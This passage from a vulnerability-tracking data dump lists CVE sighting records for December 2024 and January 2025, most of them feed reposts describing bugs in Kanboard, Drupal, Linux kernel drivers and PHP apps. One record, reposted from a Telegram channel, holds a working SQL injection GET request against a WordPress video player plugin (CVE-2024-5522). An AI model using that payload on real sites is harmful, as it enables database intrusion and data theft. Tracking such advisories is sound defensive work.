\"Title\": \"CVE-2024-55603 - Kanboard Session Lifetime Verification Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-55603 \nPublished : Dec. 19, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : Kanboard is project management software that focuses on the Kanban methodology. In affected versions sessions are still usable even though their lifetime has exceeded. Kanboard implements a cutom session handler (`app/Core/Session/SessionHandler.php`), to store the session data in a database. Therefore, when a `session_id` is given, kanboard queries the data from the `sessions` sql table. At this point, it does not correctly verify, if a given `session_id` has already exceeded its lifetime (`expires_at`).  \nThus, a session which's lifetime is already `&gt; time()`, is still queried from the database and hence a valid login. The implemented **SessionHandlerInterface::gc** function, that does remove invalid sessions, is called only **with a certain probability** (_Cleans up expired sessions. Called by `session_start()`, based on `session.gc_divisor`, `session.gc_probability` and `session.gc_maxlifetime` settings_) accordingly to the php documentation. In the official Kanboard docker image these values default to: session.gc_probability=1, session.gc_divisor=1000. Thus, an expired session is only terminated with probability 1/1000. This issue has been addressed in release 1.2.43 and all users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T02:15:15.000000Z"}, {"uuid": "b0168350-8f36-4e89-a92e-8d5480ce0996", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55461", "type": "seen", "source": "https://t.me/cvedetector/13267", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55461 - SeaCMS Phome PHP Command Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55461 \nPublished : Dec. 18, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : SeaCMS &lt;=13.0\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T01:24:54.000000Z"}, {"uuid": "abb248a1-3574-46c8-aad8-420830554c63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55239", "type": "seen", "source": "https://t.me/cvedetector/13266", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55239 - Portabilis i-Educar Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-55239 \nPublished : Dec. 18, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : A reflected Cross-Site Scripting vulnerability in the standard documentation upload functionality in Portabilis i-Educar 2.9 allows attacker to craft malicious urls with arbitrary javascript in the 'titulo_documento' parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T01:24:50.000000Z"}, {"uuid": "aa6913c4-0572-4a5b-84c9-1b2e808e82f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55506", "type": "seen", "source": "https://t.me/cvedetector/13268", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55506 - CodeAstro's Complaint Management System Code Execution and Information Disclosure IDOR\", \n  \"Content\": \"CVE ID : CVE-2024-55506 \nPublished : Dec. 18, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : An IDOR vulnerability in CodeAstro's Complaint Management System v1.0 (version with 0 updates) enables an attacker to execute arbitrary code and obtain sensitive information via the delete.php file and modifying the id parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T01:24:54.000000Z"}, {"uuid": "011b7f2f-b37d-4f71-8dba-70c449415e64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55232", "type": "seen", "source": "https://t.me/cvedetector/13256", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55232 - \"PHPGurukul Online Notes Sharing Unauthorized Note Deletion\"\", \n  \"Content\": \"CVE ID : CVE-2024-55232 \nPublished : Dec. 18, 2024, 10:15 p.m. | 26\u00a0minutes ago \nDescription : An IDOR vulnerability in the manage-notes.php module in PHPGurukul Online Notes Sharing Management System v1.0 allows unauthorized users to delete notes belonging to other accounts due to missing authorization checks. This flaw enables attackers to delete another user's information. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T23:44:20.000000Z"}, {"uuid": "aa72271d-cc50-4516-8fe2-6661970e2258", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55231", "type": "seen", "source": "https://t.me/cvedetector/13255", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55231 - PHPGurukul Online Notes Sharing Management System Insecure Direct Object Reference (IDOR)\", \n  \"Content\": \"CVE ID : CVE-2024-55231 \nPublished : Dec. 18, 2024, 10:15 p.m. | 26\u00a0minutes ago \nDescription : An IDOR vulnerability in the edit-notes.php module of PHPGurukul Online Notes Sharing Management System v1.0 allows unauthorized users to modify notes belonging to other accounts due to missing authorization checks. This flaw exposes sensitive data and enables attackers to alter another user's information. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T23:44:19.000000Z"}, {"uuid": "ba485506-eb50-4432-bed1-445c87fe468f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "Telegram/BT4eANdD013slAJckBzZvR4kUdpI7QYHiNpshjwysC4P75k", "content": "", "creation_timestamp": "2024-07-09T15:18:16.000000Z"}, {"uuid": "838aa34e-9dc2-4140-b5bb-fec16ae387f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55950", "type": "seen", "source": "https://t.me/cvedetector/13698", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55950 - Tabby Terminal Entitlements Elevated Privileges Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55950 \nPublished : Dec. 26, 2024, 10:15 p.m. | 44\u00a0minutes ago \nDescription : Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.216, Tabby terminal emulator contains overly permissive entitlements that are unnecessary for its core functionality and plugin system, creating potential security vulnerabilities. The application currently holds powerful permissions including camera, microphone access, and the ability to access personal folders (Downloads, Documents, etc.) through Apple Events, while also maintaining dangerous entitlements that enable code injection. The concerning entitlements are com.apple.security.cs.allow-dyld-environment-variables and com.apple.security.cs.disable-library-validation. Since Tabby's plugins and themes are NodeJS-based without native libraries or frameworks, and no environment variables are used in the codebase, it is recommended to review and remove at least one of the entitlements (com.apple.security.cs.disable-library-validation or com.apple.security.cs.allow-dyld-environment-variables) to prevent DYLD_INSERT_LIBRARIES injection while maintaining full application functionality. This vulnerability is fixed in 1.0.216. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T00:05:53.000000Z"}, {"uuid": "2e913915-4c84-4993-96f0-1b40598ec87e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "https://t.me/realLulzSec/12137", "content": "WordPress HTML5 Video Player SQL CVE-2024-5522\n\nGET\u00a0 /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -\n\n#exploit\u00a0 #poc", "creation_timestamp": "2024-07-09T15:29:44.000000Z"}, {"uuid": "ae11f292-5865-42b4-a833-70c1ecf0d87a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55881", "type": "seen", "source": "https://t.me/cvedetector/15072", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55881 - \"KVM AMD x86 Hypercall Detection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-55881 \nPublished : Jan. 11, 2025, 1:15 p.m. | 35\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nKVM: x86: Play nice with protected guests in complete_hypercall_exit()  \n  \nUse is_64_bit_hypercall() instead of is_64_bit_mode() to detect a 64-bit  \nhypercall when completing said hypercall.  For guests with protected state,  \ne.g. SEV-ES and SEV-SNP, KVM must assume the hypercall was made in 64-bit  \nmode as the vCPU state needed to detect 64-bit mode is unavailable.  \n  \nHacking the sev_smoke_test selftest to generate a KVM_HC_MAP_GPA_RANGE  \nhypercall via VMGEXIT trips the WARN:  \n  \n  ------------[ cut here ]------------  \n  WARNING: CPU: 273 PID: 326626 at arch/x86/kvm/x86.h:180 complete_hypercall_exit+0x44/0xe0 [kvm]  \n  Modules linked in: kvm_amd kvm ... [last unloaded: kvm]  \n  CPU: 273 UID: 0 PID: 326626 Comm: sev_smoke_test Not tainted 6.12.0-smp--392e932fa0f3-feat #470  \n  Hardware name: Google Astoria/astoria, BIOS 0.20240617.0-0 06/17/2024  \n  RIP: 0010:complete_hypercall_exit+0x44/0xe0 [kvm]  \n  Call Trace:  \n     \n   kvm_arch_vcpu_ioctl_run+0x2400/0x2720 [kvm]  \n   kvm_vcpu_ioctl+0x54f/0x630 [kvm]  \n   __se_sys_ioctl+0x6b/0xc0  \n   do_syscall_64+0x83/0x160  \n   entry_SYSCALL_64_after_hwframe+0x76/0x7e  \n     \n  ---[ end trace 0000000000000000 ]--- \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T14:55:25.000000Z"}, {"uuid": "65497d63-04c3-4c18-b287-b89e2275f432", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55916", "type": "published-proof-of-concept", "source": "https://t.me/cvedetector/15069", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55916 - Hyper-V Drivers: Buffer Not Initialized Yet NULL Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55916 \nPublished : Jan. 11, 2025, 1:15 p.m. | 35\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nDrivers: hv: util: Avoid accessing a ringbuffer not initialized yet  \n  \nIf the KVP (or VSS) daemon starts before the VMBus channel's ringbuffer is  \nfully initialized, we can hit the panic below:  \n  \nhv_utils: Registering HyperV Utility Driver  \nhv_vmbus: registering driver hv_utils  \n...  \nBUG: kernel NULL pointer dereference, address: 0000000000000000  \nCPU: 44 UID: 0 PID: 2552 Comm: hv_kvp_daemon Tainted: G E 6.11.0-rc3+ #1  \nRIP: 0010:hv_pkt_iter_first+0x12/0xd0  \nCall Trace:  \n...  \n vmbus_recvpacket  \n hv_kvp_onchannelcallback  \n vmbus_on_event  \n tasklet_action_common  \n tasklet_action  \n handle_softirqs  \n irq_exit_rcu  \n sysvec_hyperv_stimer0  \n   \n   \n asm_sysvec_hyperv_stimer0  \n...  \n kvp_register_done  \n hvt_op_read  \n vfs_read  \n ksys_read  \n __x64_sys_read  \n  \nThis can happen because the KVP/VSS channel callback can be invoked  \neven before the channel is fully opened:  \n1) as soon as hv_kvp_init() -&gt; hvutil_transport_init() creates  \n/dev/vmbus/hv_kvp, the kvp daemon can open the device file immediately and  \nregister itself to the driver by writing a message KVP_OP_REGISTER1 to the  \nfile (which is handled by kvp_on_msg() -&gt;kvp_handle_handshake()) and  \nreading the file for the driver's response, which is handled by  \nhvt_op_read(), which calls hvt-&gt;on_read(), i.e. kvp_register_done().  \n  \n2) the problem with kvp_register_done() is that it can cause the  \nchannel callback to be called even before the channel is fully opened,  \nand when the channel callback is starting to run, util_probe()-&gt;  \nvmbus_open() may have not initialized the ringbuffer yet, so the  \ncallback can hit the panic of NULL pointer dereference.  \n  \nTo reproduce the panic consistently, we can add a \"ssleep(10)\" for KVP in  \n__vmbus_open(), just before the first hv_ringbuffer_init(), and then we  \nunload and reload the driver hv_utils, and run the daemon manually within  \nthe 10 seconds.  \n  \nFix the panic by reordering the steps in util_probe() so the char dev  \nentry used by the KVP or VSS daemon is not created until after  \nvmbus_open() has completed. This reordering prevents the race condition  \nfrom happening. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T14:55:23.000000Z"}, {"uuid": "fb6827c2-3123-4c58-a432-8c6c46bc4509", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55639", "type": "seen", "source": "https://t.me/cvedetector/15078", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55639 - Renesas Linux net Use After Free\", \n  \"Content\": \"CVE ID : CVE-2024-55639 \nPublished : Jan. 11, 2025, 1:15 p.m. | 35\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: renesas: rswitch: avoid use-after-put for a device tree node  \n  \nThe device tree node saved in the rswitch_device structure is used at  \nseveral driver locations. So passing this node to of_node_put() after  \nthe first use is wrong.  \n  \nMove of_node_put() for this node to exit paths. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T14:56:09.000000Z"}, {"uuid": "46f5e4f2-fdfe-430d-b9e5-90e4e5e53b35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55586", "type": "seen", "source": "https://t.me/cvedetector/12499", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55586 - Nette Database SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55586 \nPublished : Dec. 10, 2024, 2:30 p.m. | 37\u00a0minutes ago \nDescription : Nette Database through 3.2.4 allows SQL injection in certain situations involving an untrusted filter that is directly passed to the where method. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T16:38:07.000000Z"}, {"uuid": "eb14421d-0387-434f-8ff6-abac33cd637f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55636", "type": "seen", "source": "https://t.me/cvedetector/12460", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55636 - Deserialization of Untrusted Data vulnerability in\", \n  \"Content\": \"CVE ID : CVE-2024-55636 \nPublished : Dec. 10, 2024, 12:15 a.m. | 1\u00a0hour, 1\u00a0minute ago \nDescription : Deserialization of Untrusted Data vulnerability in Drupal Core allows Object Injection.This issue affects Drupal Core: from 8.0.0 before 10.2.11, from 10.3.0 before 10.3.9, from 11.0.0 before 11.0.8. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T02:25:28.000000Z"}, {"uuid": "0d417e30-6adf-48cb-aa27-48e85ac3dd5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55539", "type": "seen", "source": "https://t.me/cvedetector/13534", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55539 - Acronis Cyber Protect Cloud Agent (Linux) Default Hash Algorithm Weakness\", \n  \"Content\": \"CVE ID : CVE-2024-55539 \nPublished : Dec. 23, 2024, 2:15 p.m. | 32\u00a0minutes ago \nDescription : Weak algorithm used to sign RPM package. The following products are affected: Acronis Cyber Protect Cloud Agent (Linux) before build 39185. \nSeverity: 2.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T15:49:41.000000Z"}, {"uuid": "5cab838e-7625-49ec-823e-b032017b4729", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55635", "type": "seen", "source": "https://t.me/cvedetector/12458", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55635 - Drupal Core Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-55635 \nPublished : Dec. 10, 2024, 12:15 a.m. | 1\u00a0hour, 1\u00a0minute ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Drupal Core allows Cross-Site Scripting (XSS).This issue affects Drupal Core: from 7.0 before 7.102. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T02:25:24.000000Z"}, {"uuid": "f8e4ad8b-42a4-4537-b20f-1a7114dd31fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55947", "type": "seen", "source": "https://t.me/cvedetector/13536", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55947 - \"Git Service Gogs Arbitrary File Write Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-55947 \nPublished : Dec. 23, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T18:20:00.000000Z"}, {"uuid": "dfd684f7-d470-4a2b-9f09-ec4f18c5e2f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55544", "type": "seen", "source": "https://t.me/cvedetector/12516", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55544 - Aruba IAP-420 Core Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55544 \nPublished : Dec. 10, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : Missing input validation in the ORing IAP-420 web-interface allows stored Cross-Site Scripting (XSS).This issue affects IAP-420 version 2.01e and below. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T18:18:38.000000Z"}, {"uuid": "3b3ed6ea-73ab-4aca-ae00-ec9ea2439ade", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55540", "type": "seen", "source": "https://t.me/cvedetector/14182", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55540 - Acronis Cyber Protect DLL Hijacking Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55540 \nPublished : Jan. 2, 2025, 4:15 p.m. | 17\u00a0minutes ago \nDescription : Local privilege escalation due to DLL hijacking vulnerability. The following products are affected: Acronis Cyber Protect 16 (Windows) before build 39169. \nSeverity: 6.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T17:36:36.000000Z"}, {"uuid": "f3697ea8-3212-4c11-9f3c-6261fc35e4a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55634", "type": "seen", "source": "https://t.me/cvedetector/12459", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55634 - Drupal Core Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55634 \nPublished : Dec. 10, 2024, 12:15 a.m. | 1\u00a0hour, 1\u00a0minute ago \nDescription : A vulnerability in Drupal Core allows Privilege Escalation.This issue affects Drupal Core: from 8.0.0 before 10.2.11, from 10.3.0 before 10.3.9, from 11.0.0 before 11.0.8. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T02:25:27.000000Z"}, {"uuid": "fef5e7fe-6cdb-4bc6-9be3-40697ff15527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55638", "type": "seen", "source": "https://t.me/cvedetector/12474", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55638 - Drupal Core Object Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55638 \nPublished : Dec. 10, 2024, 12:15 a.m. | 1\u00a0hour, 42\u00a0minutes ago \nDescription : Deserialization of Untrusted Data vulnerability in Drupal Core allows Object Injection.This issue affects Drupal Core: from 7.0 before 7.102, from 8.0.0 before 10.2.11, from 10.3.0 before 10.3.9. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T03:15:51.000000Z"}, {"uuid": "3dadbfb7-25b9-40f5-8ac2-8f8b5cecfab8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55637", "type": "seen", "source": "https://t.me/cvedetector/12472", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55637 - Drupal Core Deserialization of Untrusted Data Object Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55637 \nPublished : Dec. 10, 2024, 12:15 a.m. | 1\u00a0hour, 42\u00a0minutes ago \nDescription : Deserialization of Untrusted Data vulnerability in Drupal Core allows Object Injection.This issue affects Drupal Core: from 8.0.0 before 10.2.11, from 10.3.0 before 10.3.9, from 11.0.0 before 11.0.8. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T03:15:50.000000Z"}, {"uuid": "7a70d9e2-c6e7-46db-b6a7-2b8652e27599", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55578", "type": "seen", "source": "https://t.me/cvedetector/12352", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55578 - Zammad Microsoft Office 365 Authentication Credentials Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-55578 \nPublished : Dec. 9, 2024, 3:15 a.m. | 17\u00a0minutes ago \nDescription : Zammad before 6.4.1 places sensitive data (such as auth_microsoft_office365_credentials and application_secret) in log files. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T04:39:31.000000Z"}, {"uuid": "708d21cb-df69-46f5-90b7-7cb1705da384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55582", "type": "seen", "source": "https://t.me/cvedetector/12351", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55582 - Oxide Unencrypted Control Plane Datastore Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-55582 \nPublished : Dec. 9, 2024, 3:15 a.m. | 17\u00a0minutes ago \nDescription : Oxide before 6 has unencrypted Control Plane datastores. \nSeverity: 5.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T04:39:31.000000Z"}, {"uuid": "bb6dc714-2a01-4380-b2aa-1d1209acee55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55566", "type": "seen", "source": "https://t.me/cvedetector/12346", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55566 - ColPack Temporary File Overwrite Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55566 \nPublished : Dec. 9, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : ColPack 1.0.10 through 9a7293a has a predictable temporary file (located under /tmp with a name derived from an unseeded RNG). The impact can be overwriting files or making ColPack graphing unavailable to other users. \nSeverity: 6.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T03:49:23.000000Z"}, {"uuid": "abf4f74c-cf0f-463b-b223-1688d0559773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55601", "type": "seen", "source": "https://t.me/cvedetector/12451", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55601 - Hugo Unescaped Attributes in Internal Templates Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55601 \nPublished : Dec. 9, 2024, 10:15 p.m. | 37\u00a0minutes ago \nDescription : Hugo is a static site generator. Starting in version 0.123.0 and prior to version 0.139.4, some HTML 